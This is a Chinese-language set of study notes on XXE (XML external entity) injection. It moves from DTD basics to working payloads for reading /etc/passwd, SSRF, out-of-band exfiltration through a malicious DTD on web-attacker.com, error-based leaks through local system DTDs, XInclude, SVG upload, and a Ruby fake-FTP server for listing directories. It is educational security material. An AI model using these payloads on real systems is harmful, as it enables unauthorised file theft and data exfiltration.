HOME
HOME
文章目录
  1. 0x01 DTD基础知识
  2. 0x02 XXE利用方式
    1. 1. 读文件
    2. 2. ssrf
    3. 3. oob
    4. 4. soap接口攻击
    5. 5. svg上传
    6. 6. 利用ftp协议列目录
    7. 7. jar协议
  3. 参考文档

xxe学习笔记

0x01 DTD基础知识

DTD全称document type definition,对xml的格式进行规范。DTD可以声明于xml文档中,也可以作为一个外部引用。

内部DTD声明

基本语法:

1
<!DOCTYPE root-element [element-declarations]>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [ // 定义了note类型的文档,也就是根元素为note
<!ELEMENT note (to,from,heading,body)> // 定义了note有四个元素
<!ELEMENT to (#PCDATA)> // 定义to元素的类型
<!ELEMENT from (#PCDATA)> // 定义from元素的类型
<!ELEMENT heading (#PCDATA)> //定义heading元素的类型
<!ELEMENT body (#PCDATA)> //定义body元素的类型
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

外部DTD声明

基本语法:

1
<!DOCTYPE root-element SYSTEM "filename">

示例:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

note.dtd文件

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

PCDATA

被解析的字符数据,表示该元素的类型是字符串类型,但是特殊字符会被实体化编码,例如:&<>会被替换为&amp;&lt&gt、。

CDATA

不会被解释器解析的文本,所有的标签会原封不动的展示出来。

DTD实体

内部实体:

1
2
3
4
5
6
<!ENTITY entity-name "entity-value">
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

//引用实体
<author>&writer;&copyright;</author>

外部实体:

1
2
3
4
5
6
<!ENTITY entity-name SYSTEM "URI/URL">
<!ENTITY writer SYSTEM "http://xxx.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://xxx/entities.dtd">

//引用实体
<author>&writer;&copyright;</author>

通用实体与参数实体

通用实体指的是直接引用的实体,用&开头命名,参数实体指的是在DTD中定义的其他通用实体

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname> // 通用实体,直接使用&进行引用
...
</updateProfile>
1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://xxx.com/remote.dtd">
%an-element; %remote-dtd; //参数实体,引用参数来定义通用实体

0x02 XXE利用方式

1. 读文件

一般有回显的情况下可以直接读取文件

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>

2. ssrf

无回显的时候,可以通过错误的返回来进行ssrf攻击

1
2
3
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/">
]>

各种语言支持的协议如下图:

img

3. oob

数据带外

外部加载的DTD文件,作用是让程序读取/etc/passwd然后发送到外部服务器,引号中的%需要编码成&#x25

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

将以上文件放到受控的服务器:http://web-attacker.com/malicious.dtd

然后对目标发送如下payload:

1
2
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

对于很多文件中存在换行符的情况,以上则无法进行处理。

针对php可以采用伪协议进行base64编码发送

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

如果碰到数据带不出来,但有报错的情况,可以使用如下payload,读取不存在的文件,通过报错来回显数据

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

如果防火墙对加载外部dtd有防护的话,则可以采用https://portswigger.net/web-security/xxe/blind这里所写的办法

加载一个本地的dtd文件,然后覆盖文件内的节点,通过报错来直接回显数据

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

里面的custom_entity实体需要包含在schema.dtd

针对不同的系统,可以有如下已经存在的dtd文件:

linux gnome桌面

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

windows

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Cisco WebEx

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

1
2
3
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Custom Multi-Platform IBM WebSphere Application

1
2
3
4
5
6
7
8
9
10
11
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

4. soap接口攻击

在前端获取到参数后,后端接口直接放入xml中,对后台的soap接口进行请求。这种情况需要挨着测试参数,添加如下payload

1
2
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

image-20210309123241787

5. svg上传

1
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

6. 利用ftp协议列目录

使用ruby编写ftp服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
require 'socket'
server = TCPServer.new 3333
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end

然后在dtd文件中,使用ftp进行登录,在ftp密码字段插入目录,能够通过ftp换行输出所有目录

dtd文件

1
2
3
4
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://test:%file;@vps:3333'>">
%eval;
%exfiltrate;

在burp中加载攻击的dtd文件

1
2
3
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://vps/test.dtd"> %xxe;]>

image-20210310161841633

7. jar协议

参考文档

  1. XML external entity (XXE) injection
  2. Finding and exploiting blind XXE vulnerabilities
  3. 一篇文章带你深入理解漏洞之 XXE 漏洞
  4. 绕过WAF保护的XXE
  5. 使用本地DTD文件进行XXE攻击